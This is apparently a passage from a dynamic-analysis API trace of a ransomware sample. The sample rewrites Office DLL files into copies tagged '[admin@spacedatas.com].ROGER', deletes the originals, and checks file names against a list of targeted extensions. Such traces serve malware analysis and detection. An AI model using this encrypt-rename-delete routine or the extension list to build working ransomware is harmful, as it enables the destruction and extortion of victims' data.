Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0058.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0058.374] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.374] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0058.374] GetLastError () returned 0x0 [0058.374] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xa990, lpOverlapped=0x0) returned 1 [0058.378] WriteFile (in: hFile=0x40c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xa9a0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xa9a0, lpOverlapped=0x0) returned 1 [0058.380] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.380] WriteFile (in: hFile=0x40c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0058.380] SetEndOfFile (hFile=0x40c) returned 1 [0058.380] CloseHandle (hObject=0x40c) returned 1 [0058.380] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.380] SetEndOfFile (hFile=0x3f0) returned 1 [0058.381] CloseHandle (hObject=0x3f0) returned 1 [0058.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.381] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.382] lstrlenW (lpString=".doc") returned 4 [0058.382] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.382] lstrlenW (lpString=".docx") returned 5 [0058.382] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.382] lstrlenW (lpString=".pdf") returned 4 [0058.382] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.382] lstrlenW (lpString=".xls") returned 4 [0058.382] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.382] lstrlenW (lpString=".xlsx") returned 5 [0058.382] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.382] lstrlenW (lpString=".ppt") returned 4 [0058.382] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.382] lstrlenW (lpString=".zip") returned 4 [0058.382] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.382] lstrlenW (lpString=".rar") returned 4 [0058.382] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.382] lstrlenW (lpString=".bz2") returned 4 [0058.382] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.382] lstrlenW (lpString=".7z") returned 3 [0058.382] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.382] lstrlenW (lpString=".dbf") returned 4 [0058.382] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.382] lstrlenW (lpString=".1cd") returned 4 [0058.382] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.382] lstrlenW (lpString=".jpg") returned 4 [0058.382] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.383] lstrlenW (lpString=".doc") returned 4 [0058.383] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.383] lstrlenW (lpString=".docx") returned 5 [0058.383] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0058.383] lstrlenW (lpString=".pdf") returned 4 [0058.383] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.383] lstrlenW (lpString=".xls") returned 4 [0058.383] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.383] lstrlenW (lpString=".xlsx") returned 5 [0058.383] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0058.383] lstrlenW (lpString=".ppt") returned 4 [0058.383] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.383] lstrlenW (lpString=".zip") returned 4 [0058.383] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.383] lstrlenW (lpString=".rar") returned 4 [0058.383] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.384] lstrlenW (lpString=".bz2") returned 4 [0058.384] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.384] lstrlenW (lpString=".7z") returned 3 [0058.384] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.384] lstrlenW (lpString=".dbf") returned 4 [0058.384] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.384] lstrlenW (lpString=".1cd") returned 4 [0058.384] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.384] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL") returned 66 [0058.384] lstrlenW (lpString=".jpg") returned 4 [0058.384] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.384] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.384] lstrlenW (lpString="ACEES.DLL") returned 9 [0058.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0058.399] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=1012648) returned 1 [0058.399] CloseHandle (hObject=0x3f0) returned 1 [0058.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0058.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0058.400] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.400] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0058.400] GetLastError () returned 0x0 [0058.400] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xf73a8, lpOverlapped=0x0) returned 1 [0058.421] WriteFile (in: hFile=0x40c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xf73b0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xf73b0, lpOverlapped=0x0) returned 1 [0058.687] ReadFile (in: hFile=0x3f0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.687] WriteFile (in: hFile=0x40c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.687] SetEndOfFile (hFile=0x40c) returned 1 [0058.687] CloseHandle (hObject=0x40c) returned 1 [0058.687] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.687] SetEndOfFile (hFile=0x3f0) returned 1 [0058.695] CloseHandle (hObject=0x3f0) returned 1 [0058.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.695] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 1 [0058.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.696] lstrlenW (lpString=".doc") returned 4 [0058.696] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.696] lstrlenW (lpString=".docx") returned 5 [0058.696] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0058.696] lstrlenW (lpString=".pdf") returned 4 [0058.696] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.696] lstrlenW (lpString=".xls") returned 4 [0058.696] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.696] lstrlenW (lpString=".xlsx") returned 5 [0058.696] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0058.696] lstrlenW (lpString=".ppt") returned 4 [0058.696] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.696] lstrlenW (lpString=".zip") returned 4 [0058.696] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.696] lstrlenW (lpString=".rar") returned 4 [0058.696] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.696] lstrlenW (lpString=".bz2") returned 4 [0058.696] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.696] lstrlenW (lpString=".7z") returned 3 [0058.696] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.696] lstrlenW (lpString=".dbf") returned 4 [0058.696] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.696] lstrlenW (lpString=".1cd") returned 4 [0058.696] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.696] lstrlenW (lpString=".jpg") returned 4 [0058.696] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.696] lstrlenW (lpString=".doc") returned 4 [0058.696] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.697] lstrlenW (lpString=".docx") returned 5 [0058.697] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0058.697] lstrlenW (lpString=".pdf") returned 4 [0058.697] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.697] lstrlenW (lpString=".xls") returned 4 [0058.697] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.697] lstrlenW (lpString=".xlsx") returned 5 [0058.697] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0058.697] lstrlenW (lpString=".ppt") returned 4 [0058.697] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.697] lstrlenW (lpString=".zip") returned 4 [0058.697] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.697] lstrlenW (lpString=".rar") returned 4 [0058.697] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.697] lstrlenW (lpString=".bz2") returned 4 [0058.697] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.697] lstrlenW (lpString=".7z") returned 3 [0058.697] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.697] lstrlenW (lpString=".dbf") returned 4 [0058.697] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.697] lstrlenW (lpString=".1cd") returned 4 [0058.697] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL") returned 65 [0058.697] lstrlenW (lpString=".jpg") returned 4 [0058.697] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.697] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.698] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0058.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.724] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=15800) returned 1 [0058.725] CloseHandle (hObject=0x33c) returned 1 [0058.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0058.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.740] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.740] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0059.232] GetLastError () returned 0x0 [0059.232] ReadFile (in: hFile=0x33c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x3db8, lpOverlapped=0x0) returned 1 [0059.465] WriteFile (in: hFile=0x35c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0059.763] ReadFile (in: hFile=0x33c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0059.763] WriteFile (in: hFile=0x35c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.764] SetEndOfFile (hFile=0x35c) returned 1 [0059.824] CloseHandle (hObject=0x35c) returned 1 [0059.824] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0059.824] SetEndOfFile (hFile=0x33c) returned 1 [0059.825] CloseHandle (hObject=0x33c) returned 1 [0059.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.825] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 1 [0059.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.969] lstrlenW (lpString=".doc") returned 4 [0059.969] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.969] lstrlenW (lpString=".docx") returned 5 [0059.969] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0059.969] lstrlenW (lpString=".pdf") returned 4 [0059.969] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.969] lstrlenW (lpString=".xls") returned 4 [0059.969] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.969] lstrlenW (lpString=".xlsx") returned 5 [0059.969] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0059.969] lstrlenW (lpString=".ppt") returned 4 [0059.969] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.969] lstrlenW (lpString=".zip") returned 4 [0059.971] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.971] lstrlenW (lpString=".rar") returned 4 [0059.971] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.971] lstrlenW (lpString=".bz2") returned 4 [0059.971] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.971] lstrlenW (lpString=".7z") returned 3 [0059.971] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.971] lstrlenW (lpString=".dbf") returned 4 [0059.971] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.971] lstrlenW (lpString=".1cd") returned 4 [0059.971] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.971] lstrlenW (lpString=".jpg") returned 4 [0059.971] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.971] lstrlenW (lpString=".doc") returned 4 [0059.971] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0059.971] lstrlenW (lpString=".docx") returned 5 [0059.971] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0059.971] lstrlenW (lpString=".pdf") returned 4 [0059.971] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0059.971] lstrlenW (lpString=".xls") returned 4 [0059.972] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0059.972] lstrlenW (lpString=".xlsx") returned 5 [0059.972] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0059.972] lstrlenW (lpString=".ppt") returned 4 [0059.972] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0059.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.972] lstrlenW (lpString=".zip") returned 4 [0059.972] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0059.972] lstrlenW (lpString=".rar") returned 4 [0059.972] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0059.972] lstrlenW (lpString=".bz2") returned 4 [0059.972] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0059.972] lstrlenW (lpString=".7z") returned 3 [0059.972] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0059.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.972] lstrlenW (lpString=".dbf") returned 4 [0059.972] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0059.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.972] lstrlenW (lpString=".1cd") returned 4 [0059.972] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0059.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0059.972] lstrlenW (lpString=".jpg") returned 4 [0059.972] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0059.972] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0059.972] lstrlenW (lpString="ATLCONV.DLL") returned 11 [0059.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0060.097] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=385368) returned 1 [0060.097] CloseHandle (hObject=0x358) returned 1 [0060.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0060.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0060.098] SetFilePointerEx (in: hFile=0x358, 